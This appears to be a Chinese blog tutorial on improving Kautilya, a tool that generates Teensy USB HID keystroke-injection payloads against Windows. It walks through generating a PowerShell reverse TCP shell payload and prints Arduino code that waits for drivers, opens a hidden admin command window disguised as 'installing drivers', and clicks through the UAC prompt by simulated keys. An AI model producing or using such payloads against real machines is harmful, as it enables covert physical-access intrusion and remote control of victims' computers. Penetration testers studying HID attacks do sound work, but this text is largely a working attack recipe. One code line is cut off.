Teensy HID攻击工具Kautilya的改进与稳定利用分析

0×00 前言

HID 即 Human Interface Devices 人机接口设备。HID攻击意味着模拟 HID 设备与主机通讯的攻击行为。最常见的攻击形式是模拟成USB HID设备如USB键盘。

最近玩烧鹅的时候翻了不少资料， HID Hacking 的文章中提到的相关 payload 工具主要是 S.E.T 和 Kautilya 两个。摸索一番之后对 Kautilya 作了一些小的改进，Fork 后的代码在 https://github.com/harnnless/Kautilya 。先上演示：

修改过的 Kautilya 主要针对 Windows Payload 有以下修改：

1 适应中文系统。可以选择自动打开大写锁定键，同时生成的代码中要键入的内容已自动反转大小写。所以实际输入的大小写仍与预期一致。看过上面的演示可以注意到 Win10 默认中文五笔输入没有影响。

2 提高稳定性及利用速度。修改了几个关键函数，删除不必要的延时，同时在打开命令行窗口时更有效容错。兼顾了速度和稳定性。演示视频中第一遍启动管理员权限命令行窗口失败，脚本能检测到并再次启动命令行窗口，而不是盲目地进行后续 Payload 输入。(注意：视频中 UAC 提示窗口没有录到)

0×01 HID攻击原理简述

HID 即 Human Interface Devices人机接口设备。HID攻击意味着模拟 HID 设备与主机通讯的攻击行为。最常见的攻击形式是模拟成USB HID设备如USB键盘。

常见的USB HID 攻击硬件有 Teensy(及兼容Teensy的国产烧鹅)、Arduino Leonardo、USB Rubber Ducky 等。都是通过集成的USB控制芯片模拟成USB键盘\鼠标，并按照事先编程好的顺序发送按键，达到攻击的目的。如下图是 USB Rubber Ducky

本文的代码适用于 Teensy 2 ++ 及国产烧鹅，使用了 AT90USB1286 芯片，可以使用 Teensyduino 编写代码。

0×02 软硬件准备

硬件

Radiowar 出品的烧鹅1.0\1.5\2.0任意版本一个;或者 Teensy2++ 一个。如下图是烧鹅2.0，没有安装外壳。(视频中使用的是金士顿DT101 U盘外壳)

软件

演示用的烧鹅支持使用 Teensyduino 软件编写代码并烧录到芯片中。Teensyduino 依赖于 arduino。由于演示的是 Windows 下的攻击，以下软件安装安装配置等都以 Windows 平台为例。

Arduino & Teensyduino

1 首先安装 Arduino。从官方这个页面下载 1.0.6 版，根据操作系统架构下载32位或64位。可以直接下载 Zip 版解压到D盘。

2 下载安装 Teensyduino 1.27 版。安装过程中提示选择正确的 arduino 目录之后才能继续。如果仅需要测试本文的 HID 攻击，可以选择None不安装任何其它组件。

Kautilya

本文的主角 Kautilya 是专用于生成 Teensy USB HID 攻击载荷的开源工具。由 Nikhil SamratAshok Mittal 于2011年底发布在code.google.com，后来迁移至 Github。

1 Kautilya 使用 Ruby 编写，因此需要先安装 Ruby 运行环境。到这里下载安装 1.9.3 版(由于对 Win32Console 的依赖，不要安装2.0或以上版本)。

2 下载我修改过的 Kautilya zip 包，解压到D盘。

3 找到并打开程序中的 Start Command Prompt with Ruby, 进入 Kautilya 目录安装 Ruby 依赖:

cd /d d:\Kautilya  
set httphttp_proxy=http://127.0.0.1:1080  // 可能需要使用代理科学才能正确安装gems哦  
gem install highline -v 1.6.21  
gem install artii -v 2.0.4  
gem install colored -v 1.2  
gem install win32console -v 1.3.2   // 仅 Windows 下需要  
ruby kautilya.rb   // 运行

0×03 生成与测试

用 Kautilya 生成攻击载荷

1 接下来演示的攻击载荷是 Kautilya 作者发布的 Powershell 反向TCP shell。Freebuf 曾发过翻译后的文章，请参考一周PowerShell脚本Day 1：TCP交互式PowerShell脚本。要测试请先按这篇文章在 Kali 中用 nc -lvp 端口号监听，或者用 Powercat 监听。

2 参照视频中的步骤，打开 Start Command Prompt with Ruby 运行 Kautilya ，然后选择 1. Payload for Windows -> 2. CapsLock On -> 2. Execute -> 7. Reverse TCP Shell

3 提示输入 IP 地址时输入 Kali 的IP或运行 Powercat 的IP。我在视频中是用VirtualBox运行了一个Kali虚拟机，网络设置为 Host Only，IP为192.168.56.101。

4 提示输入端口，与监听的端口保持一致

5 选择 2，硬件是 Teensy2。然后在 output 下生成了 reverse_tcp.ino。

编译并写入

1 启动之前安装的 arduino，选择 File -> Open … 打开 Kautilya 下 output 目录中的 reverse_tcp.ino。程序会提示需要创建一个同名的文件夹，点OK

2 按工具栏的第一个图标Verify，校验并编译。如果没有错误，会弹出TeensyLoader的小窗口

3 按住烧鹅电路板上的按钮不放再插入USB口，然后松开按钮(这样可以避免执行已写入的程序)，刚编译的程序就自动写入，并且也自动重启开始执行了

4 观察Payload 执行是否成功

0×04 Payload 代码详细分析

Payload 的主体代码经过细微修改，精简如下：

上面值得注意的有两个地方：

1 wait_for_drivers 函数。作用是 Teensy 插入电脑之后，能主动判断 HID 能正常发送按键，然后再进行后续操作。可以防止在不同的电脑上安装驱动的耗时会相差较大，尤其某些时候系统会通过 Windows Update 查找驱动，单纯添加一个较长的延时时间既不可靠也容易被捉…

2 while(!cmd_admin())。 cmd_admin 函数能判断是否打开了命令行窗口，并确实能输入正确的字符。也就是说能确保后面的 payload 能正确输入。

以上两个功能函数是如何实现的呢?接着看一下后面自定义函数代码节选。

关键一，判断LED状态

int ledkeys(void) {return int(keyboard_leds);}    // 返回指定的LED状态  
bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}    //大写锁定是否打开  
void wait_for_drivers(int sleep){  
  bool CapsLockTrap = is_caps_on();  
  // 直到大写锁定发生改变，才确认驱动已加载完毕，可以执行 payload 输入了  
  while(CapsLockTrap == is_caps_on()){      
    Keyboard.set_key1(KEY_CAPS_LOCK);  
    Keyboard.send_now();  
    unpresskey();  
    delay(sleep);  
  }  
}

上面代码中最关键的是前两行，is_caps_on实现了判断当前大写锁定状态的功能。注意，这里的功能实现在Teensy2下必须有顶部的 #include，并且最好在 arduino IDE 1.0.x 下编译。

然后 wait_for_drivers 函数通过检查发送 CAPSLOCK 键之后大写锁定状态有没有变化，来判断是否设备的驱动已加载完毕。如果按键后大写锁定灯没改变状态，那肯定是键盘驱动还没有加载完成，继续延时等待。

也可以检测 NumLock 或 ScrollLock，keyboard_leds 的值不一样，分别是1和4。具体可以看 Offensive Security 的公开代码 https://github.com/offensive-security/hid-backdoor-peensy 。

关键二，判断CMD窗口打开及输入是否正确

// 这个函数做了较大修改，有兴趣可以生成一个CapsLock Off 的脚本对照看一下  
// 修改后的函数能兼容速度不一的电脑，不需要固定成最大的延时。慢的系统下会重试1到多次之后打开命令行窗口  
bool cmd_admin(int reps, int millisecs){    // 打开管理员权限命令行窗口  
  make_sure_capslock_is_on();    // 确认大写锁定打开  
  unsigned int i = 0;  
  do{  
    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);    // 按 Win 键  
    Keyboard.send_now();  
    unpresskey();  
    delay(400 + i * millisecs);  
    // 输入 CMD 命令，参数用于尽量隐藏窗口  
    Keyboard.print("CMD /t:01 /k \"@ECHO OFF && MODE CON:cols=15 lines=1 && TITLE iNSTALLING dRIVERS\"");  
    delay(800 + i * millisecs);  
    Keyboard.set_modifier(MODIFIERKEY_CTRL);    // Ctrl+Shift+Enter 用管理员权限打开  
    Keyboard.send_now();  
    Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);  
    Keyboard.send_now();  
    Keyboard.set_key1(KEY_ENTER);  
    Keyboard.send_now();  
    unpresskey();  
    delay(1000 + i * millisecs);  
    send_left_enter();    // 按左方向键，再回车，确认 UAC 提示框  
    delay(800 + i * millisecs);  
    create_click_capslock_win();    // 输入并运行一个更改大写状态的VBS  
    if (check_for_capslock_success_teensy(i+3,millisecs)){ return true;}    // 如果大写状态未改变，再试  
    i++;  
  }  
  while (i

判断CMD窗口打开及输入是否正确的代码同样用到了检测大写锁定状态。实现方法是输入并执行一个简单VBS脚本发送CAPSLOCK键，然后判断执行后大写锁定状态。如果状态改变就证明 CMD 窗口正确打开，并且能正确输入 payload 了。create_click_capslock_win() 写入并执行 VBS，check_for_capslock_success_teensy(reps,millisecs) 进行检测。

上面给出的代码没有选择 cmd 函数，而是 cmd_admin 函数，展示了使用 Ctrl+Shift+Enter 加左方向键再Enter 在 UAC 启用环境下直接打开管理员权限命令行窗口的技巧。 Kautilya 多数 Windows Payload 都会用cmd_admin。如果目标是 XP 并且用户是管理员则可以改用 cmd，不需要 Ctrl+Shift+Enter 等。

0×05 小提示

与直觉不同，键盘不是仅发送按键，而是有双向通讯的。很早前的AT键盘规范确定了如CapsLock/NumLock等灯的状态是由系统发送信息，键盘才开关灯的状态，与是否发送相关按键无关。

检测 LED状态用于HID攻击的方法最早于2012年发表在 https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/ ，后来被整合进 S.E.T 及 Kautilya 中。

Offensive Security 的 Peensy 公开代码 https://github.com/offensive-security/hid-backdoor-peensy 。其中还包含了直接读取 Teensy 的SD卡文件的方法，检测目标系统的架构以部署相同架构的MSF Payload等。值得进一步了解。

0×06 参考：

[1] http://www.labofapenetrationtester.com/search/label/Kautilya

[2] https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/

文章来源网络，作者：运维，如若转载，请注明出处：https://shuyeidc.com/wp/132277.html<